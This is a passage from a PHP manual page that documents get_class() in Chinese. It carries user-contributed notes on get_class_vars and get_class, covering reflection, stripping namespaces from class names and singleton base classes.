    public $in_grand_and_child;
    public $in_parent_and_child;
    public $childVar;
}

ChildClass::load();

?>

Array
(
    [ChildClass] => Array
        (
            [2] => childVar
        )

    [ParentClass] => Array
        (
            [1] => parentVar
            [2] => in_parent_and_child
        )

    [GrandClass] => Array
        (
            [0] => grandVar
            [1] => in_grand_and_parent
            [2] => in_grand_and_child
        )

)
ciantic 30-Jan-2012 10:06
I propse following for getting Public members, always:
<?PHP
if (!function_exists("get_public_class_vars")) {
    function get_public_class_vars($class) {
        return get_class_vars($class);
    }
}
if (!function_exists("get_public_object_vars")) {
    function get_public_object_vars($object) {
        return get_object_vars($object);
    }
}
?>

This is to mitigate the problem and a feature that get_object_vars($this) returns private members. Running it simply outside the scope will get the public.

Iterating public members only and their defaults are enormously useful in e.g. in serialization classes such as options where each public member is an serializable that is saved and loaded.
pBakhuis at Gmail dot com 07-Oct-2011 03:08
If you need the variables before the class is included this function does not seem to work.
Use a reflection class to get around this.
http://www.php.net/reflectionclass
ken at verango dot com 04-Oct-2010 04:50
All 3 of get_object_vars, get_class_vars and reflection getDefaultProperties will reveal the name of the array.  For serialization I recommend:

<?php
$cName = get_class($this);
$varTemplate= get_class_vars($cName)
foreach ($varTemplate as $name => $defaultVal) {
  $vars[$name] = $this->$name; // gets actual val.
}
?>

No scan the $vars and create serialization string how you wish.

This protects against erroneous prior deserializing in maintaining the integrity of the class template and ignoring unintended object properties.
ianitsky at gmail dot com 10-Nov-2009 11:53
If you need get the child protected/private vars ignoring the parent vars, use like this:

<?php
class childClass extends parentClass {
    private $login;
    private $password;

    public function __set($key, $val) {
        if ($key == 'password')
            $this->$key = md5($val);
        else
            $this->$key = $val;
    }
}
class parentClass {
    public $name;
    public $email;

    function __construct() {
        $reflection = new ReflectionClass($this);
        $vars = array_keys($reflection->getdefaultProperties());
        $reflection = new ReflectionClass(__CLASS__);
        $parent_vars = array_keys($reflection->getdefaultProperties());

        $my_child_vars = array();
        foreach ($vars as $key) {
            if (!in_array($key, $parent_vars)) {
                $my_child_vars[] = $key;
            }
        }

        print_r($my_child_vars);
    }
}

$child_class = new childClass();
?>
harmor 20-Dec-2008 03:53
So I wanted to get a list of the public parameters in a child class using a static function pre-5.3.0 (< 5.3.0).  In 5.3.0+ you would use the new 'static' like you would 'self' to get the late binding.

<?php
class childClass extends parentClass
{
    public $id;
    public $name;

    public static function getFields()
    {
        return self::_getFields(__CLASS__);
    }

}
abstract class parentClass
{
    public $idInParent;
    public $nameInParent;

    abstract public static function getFields();

    final protected static function _getFields($className)
    {
        $rtn = array();
        foreach (array_keys(get_class_vars($className)) as $var) {
            $rtn[] = $var;
        }
        return $rtn;
    }

}

var_dump(childClass::getFields());
?>

Results:
array(4) {
  [0]=>
  string(2) "id"
  [1]=>
  string(4) "name"
  [2]=>
  string(10) "idInParent"
  [3]=>
  string(12) "nameInParent"
}
artktec at art-k-tec dot com 16-Nov-2007 09:18
There seems to be be a function to get constants missing , i.e. get_class_constants() ... so here is a simple function for you all. Hopefully Zend will include this in the next round as a native php call, without using reflection.

<?php
   function GetClassConstants($sClassName) {
      $oClass = new ReflectionClass($sClassName);
      return $oClass->getConstants());
   }
?>
phpnet at stccorp dot net 15-Jun-2007 05:18
This is one of the best php functions. Look at what you can do

class Object
{
   var $updtFields;//keep track of affected values
   function Object($record="") {
       if (is_array($record))
       {
          $this->updtFields = array();
          foreach(array_keys(get_class_vars(get_class($this))) as $k)
          if (isset($record[$k]))
         {
          $this->$k = $record[$k];
          $this->updtFields[] = $k;
         }
      }
   }//end of arrayToObject

   function toDebug($nl='<br>')
   {
       foreach(array_keys(get_class_vars(get_class($this))) as $k)
       echo "$k = [" . $this->$k . "]{$nl}";
    }//end of toDebug
}

Now you can do really cool things. If you have a form like
<form action="" method="post">
  <input type="text" name="name" />
  <input type="text" name="phone" />
  <input type="submit" />
</form>

and you define your class like this
class Person extends Object{
  var $name; //same same as in the form
  var $phone;
}

when you submmit the form, you can get the data like

$person = new Person($_POST);

//everything in just one line,cool!! Also if you use pear db or adodb when you get data from the database you can do the same thing except use the $row that you get from the database. Remember to ask the result is associative mode.

This is my core Object for everthing I do and it works great.
bernd at tiggerswelt dot net 29-Jan-2007 02:52
If you assign a constant value using the self-scope by default to a variable, get_class_vars() will result in a FATAL error.

Example:

<?PHP

  class Foo {
    const Bar = "error";

    public $Foo = self::Bar;
  }

  print_r(get_class_vars("Foo"));

?>

... but using "Foo::Bar" instead "self::Bar" will work ;)
gizmobits at hotmail dot com 03-Mar-2006 07:48
I wanted a simple ToString() function that was automatic and class independent.  I wanted to dump it into any of several classes and get values quickly.  I wanted to leave it there so I could customize it for each class, so an outside function wasn't suitable.  I came up with this and thought it might be useful.  Have fun!

<?php
  function ToString () {
    $s = "";
    $s .= "<table>\n";
    $s .= "<tr><td colspan=2><hr></td></tr>\n";
    foreach (get_class_vars(get_class($this)) as $name => $value) {
      $s .= "<tr><td>$name:</td><td>" . $this->$name . "</td></tr>\n";
    }
    $s .= "<tr><td colspan=2><hr></td></tr>\n";
    $s .= "</table>\n";
    return $s;
  }

?>
php dot net at sharpdreams dot com 25-Oct-2005 06:25
Contrary to multiple comments throughout the manual, get_class_vars() performed within a class can access any public, protected, and private members.

<?php
class Foo {
   public $x;
   protected $y;
   private $z;
   public function __sleep() {
      return( get_class_vars( __CLASS__ ) );
   }
}
?>

works fine (returns x, y, & z). However, given the same class as above,

<?php
print_r( get_class_vars( "Foo" ) );
?>

will NOT return x, y, & z. Instead it will only return the public members (in our case, z).
alan_k at php dot net 21-Jan-2005 07:23
in PHP5 to get all the vars (including private etc.) use:

$reflection = new ReflectionClass($class);
$defaults = $reflection->getdefaultProperties();
rec at NOSPAM dot instantmassacre dot com 23-Jan-2003 04:23
If you want to retrieve the class vars from within the class itself, use $this.

<?php
class Foo {

    var $a;
    var $b;
    var $c;
    var $d;
    var $e;

    function GetClassVars()
    {
        return array_keys(get_class_vars(get_class($this))); // $this
    }

}

$Foo = new Foo;

$class_vars = $Foo->GetClassVars();

foreach ($class_vars as $cvar)
{
    echo $cvar . "<br />\n";
}
?>

Produces, after PHP 4.2.0, the following:

a
b
c
d
e


返回对象的类名

  • ? get_class_vars
  • get_declared_classes ?
  • PHP Manual
  • 类/对象 函数
  • 返回对象的类名

get_class

(PHP 4, PHP 5, PHP 7)

get_class — 返回对象的类名

说明

get_class ([ object $object = NULL ] ) : string

返回对象实例 object 所属类的名字。

参数

object

要测试的对象。如果在类里，此参数可以省略。

返回值

返回对象实例 object 所属类的名字。 如果 object 不是一个对象则返回 FALSE。

如果在一个类里，省略了参数 object， 则返回当前所在类的名称。

如果 object 是命名空间中某个类的实例，则会返回带上命名空间的类名。

错误／异常

如果用其他类型调用 get_class()，而不是一个对象的话，就会产生 E_WARNING 级别的错误。

更新日志

版本 | 说明
5.3.0 起 | object 默认参数现在是 NULL ，所以，现在传入 NULL 到 object 参数时，和没传参数的结果一样。

范例

Example #1 使用 get_class()

<?php

class foo {
    function name()
    {
        echo "My name is " , get_class($this) , "\n";
    }
}

// create an object
$bar = new foo();

// external call
echo "Its name is " , get_class($bar) , "\n";

// internal call
$bar->name();

?>

以上例程会输出：

Its name is foo
My name is foo

Example #2 超类中使用 get_class()

<?php

abstract class bar {
    public function __construct()
    {
        var_dump(get_class($this));
        var_dump(get_class());
    }
}

class foo extends bar {
}

new foo;

?>

以上例程会输出：

string(3) "foo"
string(3) "bar"

Example #3 命名空间中的类使用 get_class()

<?php

namespace Foo\Bar;

class Baz {
    public function __construct()
    {

    }
}

$baz = new \Foo\Bar\Baz;

var_dump(get_class($baz));
?>

以上例程会输出：

string(11) "Foo\Bar\Baz"

参见

  • get_called_class() - 后期静态绑定（"Late Static Binding"）类的名称
  • get_parent_class() - 返回对象或类的父类名
  • gettype() - 获取变量的类型
  • is_subclass_of() - 如果此对象是该类的子类，则返回 TRUE

User Contributed Notes

kiril (AT) aternus networks 10-Oct-2017 09:03
If you want the Class Name without the Namespace or if you've got here because basename() returns a dot (.) for the FQCN (Fully Qualified Class Name), here is the solution:

<?php
// FQCN: App\Http\Controllers\CustomerReportController

substr(self::class, (int)strrpos(self::class, '\\') + 1)

// returns: CustomerReportController
?>
Hayley Watson 24-Sep-2017 11:22
Although you can call a class's static methods from an instance of the class as though they were object instance methods, it's nice to know that, since classes are represented in PHP code by their names as strings, the same thing goes for the return value of get_class():

<?php
$t->Faculty();
SomeClass::Faculty(); // $t instanceof SomeClass
"SomeClass"::Faculty();
get_class($t)::Faculty();
?>

The first is legitimate, but the last makes it clear to someone reading it that Faculty() is a static method (because the name of the method certainly doesn't).
dense 17-Dec-2016 01:33
well, if you call  get_class() on an aliased class, you will get the original class name

<?php

class Person {}

class_alias('Person', 'User');

$me = new User;

var_dump( get_class($me) ); // 'Person'

?>
XyQrTw 28-Nov-2016 10:18
To get class name without the Namespace you can use easily this trick :
<?php
namespace My\Long\Namespace;

class MyClass {

    static function getClassName() {
        return basename(__CLASS__);
       // or with get_class();
        return basename(get_class());
    }

}

echo \My\Long\Namespace\MyClass::getClassName(); // Display : MyClass
?>
RQuadling at GMail dot com 19-Dec-2014 03:09
With regard to getting the class name from a namespaced class name, then using basename() seems to do the trick quite nicely.

<?php
namespace Foo\Bar;

abstract class Baz
{
  public function report()
  {
    echo
      '__CLASS__        ', __CLASS__, ' ', basename(__CLASS__), PHP_EOL,
      'get_called_class ', get_called_class(), ' ', basename(get_called_class()), PHP_EOL;
  }
}

class Snafu extends Baz
{
}

(new Snafu)->report();
?>

produces output of ...

__CLASS__        Foo\Bar\Baz   Baz
get_called_class Foo\Bar\Snafu Snafu
jjanak at webperfection dot net 03-Oct-2014 11:06
>= 5.5

::class
fully qualified class name, instead of get_class

<?php
namespace my\library\mvc;

class Dispatcher {}

print Dispatcher::class; // FQN == my\library\mvc\Dispatcher

$disp = new Dispatcher;

print $disp::class; // parse error
Anonymous 18-Sep-2014 08:55
If you want the path to an file if you have i file structure like this

project -> system -> libs -> controller.php
project -> system -> modules -> foo -> foo.php

and foo() in foo.php extends controller() in controller.php like this

<?PHP
namespace system\modules\foo;

class foo extends \system\libs\controller {
    public function __construct() {
        parent::__construct();
    }
}
?>

and you want to know the path to foo.php in controller() this may help you

<?PHP
namespace system\libs;

class controller {
    protected function __construct() {
        $this->getChildPath();
    }
    protected function getChildPath() {
        echo dirname(get_class($this));
    }
}
?>

<?PHP
$f = new foo();  // system\modules\foo
?>
var23rav at gmail dot com 27-Aug-2014 01:52
class A
{
function __construct(){
        //parent::__construct();
        echo $this->m =  'From constructor A: '.get_class();
        echo $this->m =  'From constructor A:- argument = $this: '.get_class($this);

        echo $this->m =  'From constructor A-parent: '.get_parent_class();
        echo $this->m =  'From constructor A-parent:- argument =  $this: '.get_parent_class($this);
    }
}
class B extends A
{
function __construct(){
        parent::__construct();
        echo $this->m =  'From constructor B: '.get_class();
        echo $this->m =  'From constructor B:- argument =  $this: '.get_class($this);

        echo $this->m =  'From constructor B-parent: '.get_parent_class();
        echo $this->m =  'From constructor B-parent:- argument =  $this: '.get_parent_class($this);
    }
}
$b = new B();
//----------------output--------------------

From constructor A: A
From constructor A:- argument = $this: B
From constructor A-parent:
From constructor A-parent:- argument = $this: A
From constructor B: B
From constructor B:- argument = $this: B
From constructor B-parent: A
From constructor B-parent:- argument = $this: A

Use get_class() to get the name of class  ,it will help you get the class name, in case you extend that class with another class and want to get the name of the class to which object is instance of user get_class($object)

when you create an object of class{$b object of B} which has a super class{Class A}.
uses these code IN Super Class {A}
--------------------------------------------
to get class name B{object instance} :  get_class($this)
to get class name A{super class}  : get_class() or get_parent_class($this)
dave at shax dot com 06-Mar-2014 04:36
A lot of people in other comments wanting to get the classname without the namespace. Some weird suggestions of code to do that - not what I would've written! So wanted to add my own way.

<?php
function get_class_name($classname)
{
    if ($pos = strrpos($classname, '\\')) return substr($classname, $pos + 1);
    return $pos;
}
?>

Also did some quick benchmarking, and strrpos() was the fastest too. Micro-optimisations = macro optimisations!

39.0954 ms - preg_match()
28.6305 ms - explode() + end()
20.3314 ms - strrpos()

(For reference, here's the debug code used. c() is a benchmarking function that runs each closure run 10,000 times.)

<?php
c(
    function($class = 'a\b\C') {
        if (preg_match('/\\\\([\w]+)$/', $class, $matches)) return $matches[1];
        return $class;
    },
    function($class = 'a\b\C') {
        $bits = explode('\\', $class);
        return end($bits);
    },
    function($class = 'a\b\C') {
        if ($pos = strrpos($class, '\\')) return substr($class, $pos + 1);
        return $pos;
    }
);
?>
Nanhe Kumar 20-Dec-2013 12:14
<?php
class Parent{
}
class Child extends Parent{
}
$c = new Child();
echo get_class($c) //Child
?>
<?php
class Parent{
  public function getClass(){
     echo get_class();
  }
}
class Child extends Parent{
}
$obj = new Child();
$obj->getClass(); //outputs Parent
?>
<?php
class Parent{
  public function getClass(){
     echo get_class($this);
  }
}
class Child extends Parent{
}
$obj = new Child();
$obj->getClass(); // Parent
?>
emmanuel dot antico at gmail dot com 10-May-2013 07:35
/**
 * Obtains an object class name without namespaces
 */
function get_real_class($obj) {
    $classname = get_class($obj);

    if (preg_match('@\\\\([\w]+)$@', $classname, $matches)) {
        $classname = $matches[1];
    }

    return $classname;
}
macnimble at gmail dot com 17-Mar-2012 07:24
Need a quick way to parse the name of a class when it's namespaced? Try this:

<?php
namespace Engine;
function parse_classname ($name)
{
  return array(
    'namespace' => array_slice(explode('\\', $name), 0, -1),
    'classname' => join('', array_slice(explode('\\', $name), -1)),
  );
}
final class Kernel
{
  final public function __construct ()
  {
    echo '<pre>', print_r(parse_classname(__CLASS__),1), '</pre>';
    // Or this for a one-line method to get just the classname:
    // echo join('', array_slice(explode('\\', __CLASS__), -1));
  }
}
new Kernel();
?>

Outputs:
Array
(
    [namespace] => Array
        (
            [0] => Engine
        )

    [classname] => Kernel
)
mail dot temc at gmail dot com 06-Dec-2011 02:51
People seem to mix up what __METHOD__, get_class($obj) and get_class() do, related to class inheritance.

Here's a good example that should fix that for ever:

<?php

class Foo {
 function doMethod(){
  echo __METHOD__ . "\n";
 }
 function doGetClassThis(){
  echo get_class($this).'::doThat' . "\n";
 }
 function doGetClass(){
  echo get_class().'::doThat' . "\n";
 }
}

class Bar extends Foo {

}

class Quux extends Bar {
 function doMethod(){
  echo __METHOD__ . "\n";
 }
 function doGetClassThis(){
  echo get_class($this).'::doThat' . "\n";
 }
 function doGetClass(){
  echo get_class().'::doThat' . "\n";
 }
}

$foo = new Foo();
$bar = new Bar();
$quux = new Quux();

echo "\n--doMethod--\n";

$foo->doMethod();
$bar->doMethod();
$quux->doMethod();

echo "\n--doGetClassThis--\n";

$foo->doGetClassThis();
$bar->doGetClassThis();
$quux->doGetClassThis();

echo "\n--doGetClass--\n";

$foo->doGetClass();
$bar->doGetClass();
$quux->doGetClass();

?>

OUTPUT:

--doMethod--
Foo::doMethod
Foo::doMethod
Quux::doMethod

--doGetClassThis--
Foo::doThat
Bar::doThat
Quux::doThat

--doGetClass--
Foo::doThat
Foo::doThat
Quux::doThat
ozana at omdesign dot cz 28-Nov-2011 07:53
Simplest way how to gets Class without namespace

<?php
namespace a\b\c\d\e\f;

class Foo {

  public function __toString() {
    $class = explode('\\', __CLASS__);
    return end($class);
  }
}

echo new Foo(); // prints Foo
?>
Michael Richey 31-Oct-2011 12:01
Attempting various singleton base class methods described on this page, I have created a base class and bridge function that allows it to work without get_called_class() if it's not available.  Unlike other methods listed here, I chose not to prevent use of __construct() or __clone().

<?php
abstract class Singleton {
    protected static $m_pInstance;
    final public static function getInstance(){
        $class = static::getClass();
        if(!isset(static::$m_pInstance[$class])) {
            static::$m_pInstance[$class] = new $class;
        }
        return static::$m_pInstance[$class];
    }
    final public static function getClass(){
        return get_called_class();
    }
}

// I don't remember where I found this, but this is to allow php < 5.3 to use this method.
if (!function_exists('get_called_class')) {
    function get_called_class($bt = false, $l = 1) {
        if (!$bt)
            $bt = debug_backtrace();
        if (!isset($bt[$l]))
            throw new Exception("Cannot find called class -> stack level too deep.");
        if (!isset($bt[$l]['type'])) {
            throw new Exception('type not set');
        }
        else
            switch ($bt[$l]['type']) {
                case '::':
                    $lines = file($bt[$l]['file']);
                    $i = 0;
                    $callerLine = '';
                    do {
                        $i++;
                        $callerLine = $lines[$bt[$l]['line'] - $i] . $callerLine;
                    } while (stripos($callerLine, $bt[$l]['function']) === false);
                    preg_match('/([a-zA-Z0-9\_]+)::' . $bt[$l]['function'] . '/', $callerLine, $matches);
                    if (!isset($matches[1])) {
                        // must be an edge case.
                        throw new Exception("Could not find caller class: originating method call is obscured.");
                    }
                    switch ($matches[1]) {
                        case 'self':
                        case 'parent':
                            return get_called_class($bt, $l + 1);
                        default:
                            return $matches[1];
                    }
                // won't get here.
                case '->': switch ($bt[$l]['function']) {
                        case '__get':
                            // edge case -> get class of calling object
                            if (!is_object($bt[$l]['object']))
                                throw new Exception("Edge case fail. __get called on non object.");
                            return get_class($bt[$l]['object']);
                        default: return $bt[$l]['class'];
                    }

                default: throw new Exception("Unknown backtrace method type");
            }
    }
}

class B extends Singleton {
}

class C extends Singleton {
}

$b = B::getInstance();
echo 'class: '.get_class($b);

echo '<br />';

$c = C::getInstance();
echo echo 'class: '.get_class($c);
?>
This returns:
class: b
class: c
me at nwhiting dot com 06-Dec-2010 08:14
Method for pulling the name of a class with namespaces pre-stripped.

<?php
/**
 * Returns the name of a class using get_class with the namespaces stripped.
 * This will not work inside a class scope as get_class() a workaround for
 * that is using get_class_name(get_class());
 *
 * @param  object|string  $object  Object or Class Name to retrieve name

 * @return  string  Name of class with namespaces stripped
 */
function get_class_name($object = null)
{
    if (!is_object($object) && !is_string($object)) {
        return false;
    }

    $class = explode('\\', (is_string($object) ? $object : get_class($object)));
    return $class[count($class) - 1];
}
?>

And for everyone for Unit Test goodiness!

<?php
namespace testme\here;

class TestClass {

    public function test()
    {
       return get_class_name(get_class());
    }
}

class GetClassNameTest extends \PHPUnit_Framework_TestCase
{
    public function testGetClassName()
    {
        $class  = new TestClass();
        $std  = new \stdClass();
        $this->assertEquals('TestClass', get_class_name($class));
        $this->assertEquals('stdClass', get_class_name($std));
        $this->assertEquals('Test', get_class_name('Test'));
        $this->assertFalse(get_class_name(null));
        $this->assertFalse(get_class_name(array()));
        $this->assertEquals('TestClass', $class->test());
    }
}
?>
Aaron 18-Jun-2010 11:14
This can sometimes be used in place of get_called_class(). I used this function in a parent class to get the name of the class that extends it.
ovidiu.bute [at] gmail.com 05-Apr-2010 10:23
If you are using namespaces this function will return the name of the class including the namespace, so watch out if your code does any checks for this. Ex:

namespace Shop;

<?php
class Foo
{
  public function __construct()
  {
     echo "Foo";
  }
}

//Different file

include('inc/Shop.class.php');

$test = new Shop\Foo();
echo get_class($test);//returns Shop\Foo
?>
Lanselot 11-Feb-2009 02:09
Beware if you're omitting the parameter on inherited classes.
It'll return the class name of the method where it's called.

<?php
class A {
    function foo() {
      return get_class();
    }
}
class B extends A {
   function bar() {
      return get_class();
   }
}
$instance = new B();
echo $instance->bar(); //Prints 'B';
echo $instance->foo(); //Prints 'A';
?>
danbettles at yahoo dot co dot uk 08-Oct-2008 11:56
It is possible to write a completely self-contained Singleton base class in PHP 5.3 using the new get_called_class function.  When called in a static method, this function returns the name of the class the call was made against.

<?php

abstract class Singleton {

    protected function __construct() {
    }

    final public static function getInstance() {
        static $aoInstance = array();

        $calledClassName = get_called_class();

        if (! isset ($aoInstance[$calledClassName])) {
            $aoInstance[$calledClassName] = new $calledClassName();
        }

        return $aoInstance[$calledClassName];
    }

    final private function __clone() {
    }
}

class DatabaseConnection extends Singleton {

    protected $connection;

    protected function __construct() {
        // @todo Connect to the database
    }

    public function __destruct() {
        // @todo Drop the connection to the database
    }
}

$oDbConn = new DatabaseConnection();  // Fatal error

$oDbConn = DatabaseConnection::getInstance();  // Returns single instance
?>

Full write-up in Oct 2008: http://danbettles.blogspot.com
Edward 21-Aug-2008 03:26
The code in my previous comment was not completely correct. I think this one is.

<?
abstract class Singleton {
    protected static $__CLASS__ = __CLASS__;

    protected function __construct() {
    }

    abstract protected function init();

    /**
     * Gets an instance of this singleton. If no instance exists, a new instance is created and returned.
     * If one does exist, then the existing instance is returned.
     */
    public static function getInstance() {
        static $instance;

        $class = self::getClass();

        if ($instance === null) {
            $instance = new $class();
            $instance->init();
        }

        return $instance;
    }

    /**
     * Returns the classname of the child class extending this class
     *
     * @return string The class name
     */
    private static function getClass() {
        $implementing_class = static::$__CLASS__;
        $original_class = __CLASS__;

        if ($implementing_class === $original_class) {
            die("You MUST provide a <code>protected static \$__CLASS__ = __CLASS__;</code> statement in your Singleton-class!");
        }

        return $implementing_class;
    }
}
?>
Edward 20-Aug-2008 05:42
With Late Static Bindings, available as of PHP 5.3.0, it is now possible to implement an abstract Singleton class with minimal overhead in the child classes. Late static bindings are explained here: http://nl2.php.net/manual/en/language.oop5.late-static-bindings.php

In short, it introduces a new 'static::' keyword, that is evaluated at runtime. In the following code I use it to determine the classname of the child Singleton class.

<?
abstract class Singleton {
    protected static $__CLASS__ = __CLASS__;
    protected static $instance;

    protected function __construct() {
        static::$instance = $this;
        $this->init();
    }

    abstract protected function init();

    protected function getInstance() {
        $class = static::getClass();

        if (static::$instance===null) {
            static::$instance = new $class;
        }

        return static::$instance;
    }

    private static function getClass() {
        if (static::$__CLASS__ == __CLASS__) {
            die("You MUST provide a <code>protected static \$__CLASS__ = __CLASS__;</code> statement in your Singleton-class!");
        }

        return static::$__CLASS__;
    }
}
?>

An example Singleton class can then be implemented as follows:

<?
class A extends Singleton {
    protected static $__CLASS__ = __CLASS__; // Provide this in each singleton class.

    protected function someFunction() {
        $instance = static::getInstance();
        // ...
    }
}
?>

Hope this helps you save some time :)
dave dot zap at gmail dot com 29-Apr-2008 09:13
Take care using the backtrace method to find the calling class of a static method, you should step backward through the array and find a match for your getInstance() function. In backtrace the class name you want is not always the last item in the array.

I will not post the whole singleton class here, but have made the following modification to Frederik Krautwald's method (found below)

<?php
$bt = debug_backtrace();
// this method is count($bt)-1) by Frederik will fall over when calling getInstance from within an include file.
//$class = $bt[count($bt) - 1]['class'];

for( $i=count($bt)-1 ; $i > 0 ; $i--)
{
    if($bt[$i]['function'] == 'getInstance')
    {
        $class = $bt[$i]['class'];
        break;
    }
}
?>
Anonymous 12-Apr-2008 02:01
In Perl (and some other languages) you can call some methods in both object and class (aka static) context. I made such a method for one of my classes in PHP5, but found out that static methods in PHP5 do not 'know' the name of the calling subclass', so I use a backtrace to determine it. I don't like hacks like this, but as long as PHP doesn't have an alternative, this is what has to be done:

public function table_name() {
        $result = null;
        if (isset($this)) { // object context
            $result = get_class($this);
        }
        else { // class context
            $result = get_class();
            $trace = debug_backtrace();
            foreach ($trace as &$frame) {
                if (!isset($frame['class'])) {
                    break;
                }
                if ($frame['class'] != $result) {
                    if (!is_subclass_of($frame['class'], $result)) {
                        break;
                    }
                    $result = $frame['class'];
                }
            }
        }
        return $result;
    }
andregs at NOSPAM dot gmail dot NOSPAM dot com 21-Feb-2008 01:17
After reading the previous comments, this is the best I've done to get the final class name of a subclass:

<?php

class Singleton
{
   private static $_instances = array();
   protected final function __construct(){}

   /**
    * @param string $classname
    * @return Singleton
    */
   protected static function getInstance()
   {
      $classname = func_get_arg(0);
      if (! isset(self::$_instances[$classname]))
      {
         self::$_instances[$classname] = new $classname();
      }
      return self::$_instances[$classname];
   }

}

class Child extends Singleton
{
   /**
    * @return Child
    */
   public static function getInstance()
   {
      return parent::getInstance(get_class());
   }
}

?>

Subclasses must override "getInstance" and cannot override "__construct".
dodgie74 at NOSPAM dot yahoo dot NOSPAM dot co dot uk 09-Sep-2007 05:40
As noted in bug #30934 (which is not actually a bug but a consequence of a design decision), the "self" keyword is bound at compile time. Amongst other things, this means that in base class methods, any use of the "self" keyword will refer to that base class regardless of the actual (derived) class on which the method was invoked. This becomes problematic when attempting to call an overridden static method from within an inherited method in a derived class. For example:

<?php
class Base
{
    protected $m_instanceName = '';

    public static function classDisplayName()
    {
        return 'Base Class';
    }

    public function instanceDisplayName()
    {
        //here, we want "self" to refer to the actual class, which might be a derived class that inherits this method, not necessarily this base class
        return $this->m_instanceName . ' - ' . self::classDisplayName();
    }
}

class Derived extends Base
{
    public function Derived( $name )
    {
        $this->m_instanceName = $name;
    }

    public static function classDisplayName()
    {
        return 'Derived Class';
    }
}

$o = new Derived('My Instance');
echo $o->instanceDisplayName();
?>

In the above example, assuming runtime binding (where the keyword "self" refers to the actual class on which the method was invoked rather than the class in which the method is defined) would produce the output:

My Instance - Derived Class

However, assuming compile-time binding (where the keyword "self" refers to the class in which the method is defined), which is how php works, the output would be:

My Instance - Base Class

The oddity here is that "$this" is bound at runtime to the actual class of the object (obviously) but "self" is bound at compile-time, which seems counter-intuitive to me. "self" is ALWAYS a synonym for the name of the class in which it is written, which the programmer knows so s/he can just use the class name; what the programmer cannot know is the name of the actual class on which the method was invoked (because the method could be invoked on a derived class), which it seems to me is something for which "self" ought to be useful.

However, questions about design decisions aside, the problem still exists of how to achieve behaviour similar to "self" being bound at runtime, so that both static and non-static methods invoked on or from within a derived class act on that derived class. The get_class() function can be used to emulate the functionality of runtime binding for the "self" keyword for static methods:

<?php
class Base
{
    protected $m_instanceName = '';

    public static function classDisplayName()
    {
        return 'Base Class';
    }

    public function instanceDisplayName()
    {
        $realClass = get_class($this);
        return $this->m_instanceName . ' - ' . call_user_func(array($realClass, 'classDisplayName'));
    }
}

class Derived extends Base
{
    public function Derived( $name )
    {
        $this->m_instanceName = $name;
    }

    public static function classDisplayName()
    {
        return 'Derived Class';
    }
}

$o = new Derived('My Instance');
echo $o->instanceDisplayName();
?>

Output:
My Instance - Derived Class

I realise that some people might respond "why don't use just just the class name with ' Class' appended instead of the classDisplayName() method", which is to miss the point. The point is not the actual strings returned but the concept of wanting to use the real class for an overridden static method from within an inherited non-static method. The above is just a simplified version of a real-world problem that was too complex to use as an example.

Apologies if this has been mentioned before.
bramus at bram dot us 20-Aug-2007 08:40
@ Frederik :

<?
$class = $bt[count($bt) - 1]['class'];
?>

should be

<?
$class = $bt[count($bt) - 2]['class'];
?>

;-)
Frederik Krautwald 25-Jun-2007 08:13
Due to PHP 5 engine that permits to get final class in a static called function, and this is a modified version of examples published below.

<?php
abstract class Singleton {
    protected static $_instances = array();

    protected function __construct() {}

    protected static function getInstance() {
        $bt = debug_backtrace();
        $class = $bt[count($bt) - 1]['class'];
        if (!isset(self::$_instances[$class])) {
            self::$_instances[$class] = new $class();
        }
        return self::$_instances[$class];
    }
}
class A extends Singleton {
    public static function getInstance() {
        return parent::getInstance();
    }
}
class B extends Singleton {
    public static function getInstance() {
        return parent::getInstance();
    }
}
class C extends A {
    public static function getInstance() {
        return parent::getInstance();
    }
}

$a = A::getInstance();
$b = B::getInstance();
$c = C::getInstance();

echo "\$a is a " . get_class($a) . "<br />";
echo "\$b is a " . get_class($b) . "<br />";
echo "\$c is a " . get_class($c) . "<br />";
?>

I don't know about if performance would increase if debug_backtrace() is skipped and instead have getInstance() to accept a passed class retrieved by get_class() method as parameter as described in a post below.

By having set getInstance() to protected in the Singleton class, the function is required to be overridden (good OOP practice).

One thing to mention is, that there is no error checking in case $class is null or undefined, which would result in a fatal error. At the moment, though, I can't see how it could happen when the getInstance() is protected, i.e. has to be overridden in a subclass -- but with good coding practice you should always error check.
mightye at gmail dot com 23-Jun-2007 06:20
To: Bryan

In this model it is still workable if your singleton variable is actually an array.  Consider:
<?php
abstract class Singleton {
    protected final static $instances = array();

    protected __construct(){}

    protected function getInstance() {
        $class = get_real_class(); // imaginary function returning the final class name, not the class the code executes from
        if (!isset(self::$instances[$class])) {
            self::$instances[$class] = new $class();
        }
        return self::$instances[$class];
    }
}
class A extends Singleton {
}
class B extends Singleton {
}

$a = A::getInstance();
$b = B::getInstance();

echo "\$a is a " . get_class($a) . "<br />";
echo "\$b is a " . get_class($b) . "<br />";
?>
This would output:
$a is a A
$b is a B

The only alternative as described elsewhere is to make getInstance() protected abstract, accept the class name as an argument, and extend this call with a public final method for every sub-class which uses get_class() in its local object scope and passes it to the superclass.

Or else create a singleton factory like this:
<?php
final class SingletonFactory {
    protected static $instances = array();

    protected getInstance($class) {
        if (!isset(self::$instances[$class])) {
            self::$instances[$class] = new $class();
        }
        return self::$instances[$class];
    }
}
?>
The downside to this of course to this latter model is that the class itself doesn't get to decide if it is a singleton, the calling code gets to decide this instead, and a class that really wants or *needs* to be a singleton has no way to enforce this, not even by making its constructor protected.

Basically these design patterns, and various other meta manipulations (things which operate on the nature of the object, not on the data the object holds) could benefit greatly from knowing exactly what the final type of this object is, and not having native access to this information obligates work-arounds.
janci 30-Apr-2007 12:00
To yicheng zero-four at gmail dot com: Another, maybe better example where finding out the real class (not the class we are in) in static method should be quite usefull is the Singleton pattern.

There is currently no way how to create an abstract Singleton class that could be used just by extending it without the need to change the extended class. Consider this example:
<?php
abstract class Singleton
{
    protected static $__instance = false;

    public static function getInstance()
    {
        if (self::$__instance == false)
        {
            // This acctually is not what we want, $class will always be 'Singleton' :(
            $class = get_class();
            self::$__instance = new $class();
        }
        return self::$__instance;
    }
}

class Foo extends Singleton
{
    // ...
}

$single_foo = Foo::getInstance();
?>
This piece of code will result in a fatal error saying: Cannot instantiate abstract class Singleton in ... on line 11

The best way I figured out how to avoid this requires simple but still a change of the extended (Foo) class:
<?php
abstract class Singleton
{
    protected static $__instance = false;

    protected static function getInstance($class)
    {
        if (self::$__instance == false)
        {
            if (class_exists($class))
            {
                self::$__instance = new $class();
            }
            else
            {
                throw new Exception('Cannot instantiate undefined class [' . $class . ']', 1);
            }
        }
        return self::$__instance;
    }
}

class Foo extends Singleton
{
    // You have to overload the getInstance method in each extended class:
    public static function getInstance()
    {
        return parent::getInstance(get_class());
    }
